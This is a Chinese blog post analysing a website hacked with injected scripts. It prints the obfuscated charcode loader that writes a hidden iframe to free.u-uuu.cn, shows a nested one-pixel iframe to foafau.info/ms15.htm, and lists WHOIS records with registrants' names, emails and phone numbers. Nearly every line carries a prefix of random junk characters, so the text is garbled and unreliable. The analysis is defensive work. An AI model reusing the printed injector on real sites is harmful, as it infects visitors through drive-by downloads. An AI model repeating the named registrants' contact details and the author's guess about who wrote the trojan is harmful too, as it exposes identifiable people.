首发在我的博客里面，
9yPB)&"EF 7BnP,Nd"W http://www.areway.cn/?p=175 kzT' * G 4; 0v ?,:]A0E 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
,v+SD\7| gf@Dy6 < <script>t=’60,105,102,114,97,109,101,
{cFei3'q 32,115,114,99,61,104,116,116,112,58,47,47,
dLq!t@?iu> 102,114,101,101,46,117,45,117,117,117,46,99,
-1:asM7 110,47,101,114,114,111,114,46,104,116,109,
W\ckt]' 32,119,105,100,116,104,61,49,48,48,32,104,
/r6DPR0\ 101,105,103,104,116,61,48,62,60,47,105,102,
lAQ&PPQ 114,97,109,101,62′;
&R]G)f#w%* t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
g&
Rk}/F fi)ypv* <script>t=’60,105,102,114,97,109,101,32,115,
$Z4p$o
dk 114,99,61,104,116,116,112,58,47,47,102,114,
h kY E7 101,101,46,117,45,117,117,117,46,99,110,47,
Fu$otMw%l 101,114,114,111,114,46,104,116,109,32,119,
A
[JV*Dt 105,100,116,104,61,49,48,48,32,104,101,105,
RPu-E9g@ 103,104,116,61,48,62,60,47,105,102,114,97,
`:&{ /|uP7 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
YH9BJ document.write(t);</script>
rm7UFMCR6i &2DW <html xmlns=”
s] q fLC http://www.w3.org/1999/xhtml FpEdwzBb< “>
ur |2FS7 <head>
hI
yfF <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
%k~=iDk@ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
iDA`pemmi& <title>首页 - 爱生活家庭网
\[BnAgsF E4Sp^, 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
AMr 9rB d 转换字符串后的大概内容是（谁点击后果自付）：
Fpb1.Iz <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
|N*>K a; DbDp dC; 查询玉米u-uuu.cn的详细信息：
/i< g>*82 Domain Name: u-uuu.cn
[3s~Z8
pP ROID: 20070901s10001s64972306-cn
oUqNA|l
T Domain Status: ok
;AaF ;zPV Registrant Organization: 王雷
\n5,!,A Registrant Name: 王雷
)-mB^7uXGv Administrative Email:
czlovexs@126.com 8dv1#F| Sponsoring Registrar: 北京万网志成科技有限公司
1/ a,7Hl Name Server:ns.yovole.com
*QL brR Name Server:ns1.yovole.com
q^s$4 q Registration Date: 2007-09-01 17:54
bFpwq#PDW> Expiration Date: 2008-09-01 17:54
rr*IIG&.5 最后PING了一下地址 都没有什么….
E4{8 $:q= \ ,WPFV 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
cG<?AR?wDT <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
GZ1>]HB>r^ <script language=”javascript” src=”
pJmn;XbME http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script #>0nNR[$Y >
r`=d4dK- 这个玉米应该有可能是木马作者的：
mVxS[Gq foafau.info的详细信息：
@M1U)JoQ Access to INFO WHOIS information is provided to assist persons in
f- Sb:O!V determining the contents of a domain name registration record in the
FY'f{gD^ Afilias registry database. The data in this record is provided by
[W2k#-%G Afilias Limited for informational purposes only, and Afilias does not
UwLa9Dn^ guarantee its accuracy. This service is intended only for query-based
> 7n(* M access. You agree that you will use this data only for lawful purposes
-6? 5|\ and that, under no circumstances will you use this data to: (a) allow,
@c/~qP4 enable, or otherwise support the transmission by e-mail, telephone, or
o,29C7Ii facsimile of mass unsolicited, commercial advertising or solicitations
h:|aQJG5 to entities other than the data recipient’s own existing customers; or
nPKj%g3h (b) enable high volume, automated, electronic processes that send
9]Y@eRI< queries or data to the systems of Registry Operator, a Registrar, or
.e6 :/x~p* Afilias except as reasonably necessary to register domain names or
O_E[F E:+ modify existing registrations. All rights reserved. Afilias reserves
P6MT[ the right to modify these terms at any time. By submitting this query,
Y!5-WX H
you agree to abide by this policy.
$ZA71TzMV Domain ID:D22418703-LRMS
bNXT*HOZb3 Domain Name:FOAFAU.INFO
n7 S[ F3 Created On:20-Nov-2007 16:05:42 UTC
3V-pLs| Last Updated On:20-Nov-2007 16:05:44 UTC
J~= =<?j: Expiration Date:20-Nov-2008 16:05:42 UTC
m^wY RA. Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
qwN-VCj Status:CLIENT DELETE PROHIBITED
VL\6U05Z Status:CLIENT RENEW PROHIBITED
r A9"CN Status:CLIENT TRANSFER PROHIBITED
Z@ 1rs# Status:CLIENT UPDATE PROHIBITED
3+)i23[4=\ Status:TRANSFER PROHIBITED
6 ,!]x>B Registrant ID:GODA-040110615
)msqt!Ev Registrant Name:liu hong
? xy~N?N Registrant Organization:
Q@2Smtu~c Registrant Street1:beijing
)0NA*<Q+. Registrant Street2:
_ ZJP]5 Registrant Street3:
s)}C&T$Y. Registrant City:beijing
XRZm g " Registrant State/Province:
smSUo / Registrant Postal Code:100000
k }/0 B Registrant Country:CN
,ujoGSx} Registrant Phone:+86.860108888777
5@i/4%S Registrant Phone Ext.:
Ef #%4ky Registrant FAX:
*b> ~L Registrant FAX Ext.:
X@ TQD Registrant Email:bbbshiji@163.com
U:_&aY_ Admin ID:GODA-240110615
>]Y`-*vw& Admin Name:liu hong
o0AREZ+I Admin Organization:
r t f}4. Admin Street1:beijing
NbSwn }e_ Admin Street2:
f@Db._ E Admin Street3:
-\>Xtix^-c Admin City:beijing
:=-h'<D Admin State/Province:
*C$
W^u5h Admin Postal Code:100000
Yk:\oM Admin Country:CN
4 /$]wK` Admin Phone:+86.860108888777
q$K^E Admin Phone Ext.:
4PNl3N3,n Admin FAX:
xK
/NzVt Admin FAX Ext.:
"S1+mSW> Admin Email:bbbshiji@163.com
#\fAp RL Billing ID:GODA-340110615
[N{Rd[{QTL Billing Name:liu hong
z 55P~p Billing Organization:
?L'ijzP Billing Street1:beijing
kYx|`-PA<r Billing Street2:
syMB~g Billing Street3:
8USF; k Billing City:beijing
!}U&%2<69 Billing State/Province:
HuG|BjP Billing Postal Code:100000
H$Q_K<V Billing Country:CN
KN5.2pp Billing Phone:+86.860108888777
[}.OlR3) Billing Phone Ext.:
]GRPx h Billing FAX:
QH;1* Billing FAX Ext.:
?!b}Ir<1j Billing Email:bbbshiji@163.com
UL(#B TK Tech ID:GODA-140110615
[5> 0om5 Tech Name:liu hong
dY |( Tech Organization:
i,,U D Tech Street1:beijing
/ ,wG$b+ Tech Street2:
DT;Hr4Z8^" Tech Street3:
^ IY1^x Tech City:beijing
hmQD-E{Ab Tech State/Province:
dKhDO` .s Tech Postal Code:100000
N n+leM Tech Country:CN
V*LpO 8= Tech Phone:+86.860108888777
+tl&Jjdm Tech Phone Ext.:
PbCXcs Tech FAX:
A fyEFn Y Tech FAX Ext.:
)0YMi!&j` Tech Email:bbbshiji@163.com
8M V=? Name Server:NS27.DOMAINCONTROL.COM
iN<Tn8-YH6 Name Server:NS28.DOMAINCONTROL.COM
a>6!?:Rj Name Server:
)/UPDdO Name Server:
R aKL KZn Name Server:
VcA87*pel Name Server:
/=i^Bgh4 Name Server:
>$k_tC' " Name Server:
)~s(7
4`} Name Server:
y~jTI[kS Name Server:
B]#0]-ua Name Server:
cW%F%:b Name Server:
\ c9EE- Name Server:
[T.kwQf4$ D>PB|rS@ 接着下载每个文件里面的代码：
Jk 0 ;<2j 一步一步看..
u<:R Sg 
"4zT P!Ow 
o=7 -&F. 
_= }Efy7 
t /1KKEZM 
',v
-&1R 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
